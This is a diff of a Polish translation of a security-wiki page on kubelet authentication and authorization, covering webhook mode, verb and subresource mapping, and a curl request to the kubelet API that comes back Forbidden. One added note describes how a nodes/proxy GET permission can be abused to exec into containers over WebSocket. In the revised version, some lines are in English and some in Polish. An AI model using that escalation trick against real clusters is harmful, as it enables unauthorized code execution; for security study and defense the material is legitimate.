> Zauważ, że nawet jeśli **uwierzytelnianie anonimowe jest włączone**, **dostęp anonimowy** może **nie mieć żadnych uprawnień** do wykonania jakiejkolwiek akcji.
|
||||
> Należy pamiętać, że nawet jeśli **uwierzytelnianie anonimowe jest włączone** to **dostęp anonimowy** może **nie mieć żadnych uprawnień** do wykonania żadnej akcji.
|
||||
|
||||
Autoryzacja za pomocą webhooka może być skonfigurowana za pomocą **parametru `--authorization-mode=Webhook`** lub za pomocą pliku konfiguracyjnego z:
|
||||
Autoryzację przez webhook można skonfigurować używając parametru **`--authorization-mode=Webhook`** lub przez plik konfiguracyjny za pomocą:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
@@ -59,41 +59,45 @@ Autoryzacja za pomocą webhooka może być skonfigurowana za pomocą **parametru
|
||||
}
|
||||
},
|
||||
```
|
||||
Kubelet wywołuje API **`SubjectAccessReview`** na skonfigurowanym serwerze API, aby **określić**, czy każde żądanie jest **autoryzowane.**
|
||||
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
|
||||
|
||||
Kubelet autoryzuje żądania API, używając tego samego podejścia [atrybutów żądania](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) co apiserver:
|
||||
The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
|
||||
|
||||
- **Akcja**
|
||||
|
||||
| Czasownik HTTP | czasownik żądania |
|
||||
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (dla pojedynczych zasobów), list (dla kolekcji, w tym pełnej zawartości obiektu), watch (dla obserwowania pojedynczego zasobu lub kolekcji zasobów) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (dla pojedynczych zasobów), deletecollection (dla kolekcji) |
|
||||
| HTTP verb | request verb |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| POST | create |
|
||||
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
|
||||
| PUT | update |
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- **Zasób** komunikujący się z API Kubelet to **zawsze** **nodes**, a **subresource** jest **określany** na podstawie ścieżki przychodzącego żądania:
|
||||
- Zasób komunikujący się z Kubelet api to **zawsze** **nodes**, a **subresource** jest **określany** na podstawie ścieżki przychodzącego żądania:
|
||||
|
||||
| API Kubelet | zasób | subresource |
|
||||
| --------------| ------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _wszystkie inne_ | nodes | proxy |
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
| /stats/\* | nodes | stats |
|
||||
| /metrics/\* | nodes | metrics |
|
||||
| /logs/\* | nodes | log |
|
||||
| /spec/\* | nodes | spec |
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
Na przykład, poniższe żądanie próbowało uzyskać dostęp do informacji o podach kubelet bez uprawnień:
|
||||
> [!NOTE]
|
||||
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
|
||||
|
||||
For example, the following request tried to access the pods info of kubelet without permission:
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
- Otrzymaliśmy **Forbidden**, więc żądanie **przeszło kontrolę autoryzacji**. Gdyby nie, otrzymalibyśmy tylko komunikat `Unauthorised`.
|
||||
- Możemy zobaczyć **nazwa użytkownika** (w tym przypadku z tokena)
|
||||
- Sprawdź, jak **zasób** to **nodes**, a **subzasób** to **proxy** (co ma sens w kontekście wcześniejszych informacji)
|
||||
- Otrzymaliśmy **Forbidden**, więc żądanie **przeszło sprawdzenie uwierzytelniania**. Gdyby nie, otrzymalibyśmy tylko komunikat `Unauthorised`.
|
||||
- Widać **username** (w tym przypadku z tokena)
|
||||
- Zwróć uwagę, że **resource** to **nodes**, a **subresource** to **proxy** (co ma sens w świetle powyższych informacji)
|
||||
|
||||
## References
|
||||
## Referencje
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user